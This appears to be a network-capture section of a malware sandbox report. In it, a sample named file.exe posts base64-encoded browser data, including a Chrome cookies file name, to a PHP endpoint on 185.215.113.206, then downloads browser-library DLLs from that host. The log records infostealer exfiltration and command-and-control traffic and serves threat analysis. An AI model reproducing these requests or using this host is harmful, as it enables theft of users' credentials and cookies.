Nov 23, 2024 21:59:16.613096952 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 21:59:16.617048979 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 23, 2024 21:59:16.617196083 CET	672	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49777	185.215.113.206	80	7372	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:59:26.007945061 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGCFHIDAKECFHIEBFCG--
Nov 23, 2024 21:59:28.131886959 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:28.255026102 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="file"------AKEGDAKEHJDHIDHJJDAE--
Nov 23, 2024 21:59:29.213139057 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49809	185.215.113.206	80	7372	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:59:34.725511074 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 21:59:34.725569963 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 23, 2024 21:59:36.650775909 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:36.784866095 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="file"------BFCAAEHJDBKJJKFHJEBK--
Nov 23, 2024 21:59:37.734364033 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:38.451414108 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 21:59:39.007136106 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 21:59:39.007226944 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 23, 2024 21:59:39.007236958 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 23, 2024 21:59:39.007266045 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 23, 2024 21:59:39.007292986 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 23, 2024 21:59:39.007339001 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 23, 2024 21:59:39.007358074 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 23, 2024 21:59:39.007369041 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Nov 23, 2024 21:59:39.015556097 CET	776	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Nov 23, 2024 21:59:39.018220901 CET	1236	IN	Data Raw: fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff ff 35 d1 82 e6 ad 89 d7 81 c7 08 c9 bc f3 89 7d e8 89 c1 81 d1 67 e6 09 6a 89 4d c0 89 fa 33 95 c4 fe ff ff 89 cf 31 f7 Data Ascii: q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xptJ@FR
Nov 23, 2024 21:59:40.631934881 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 21:59:41.087263107 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 21:59:42.149513960 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 21:59:42.604302883 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 21:59:43.489988089 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 21:59:43.944740057 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 21:59:47.484199047 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 21:59:47.964524031 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 21:59:48.620418072 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 21:59:49.076703072 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
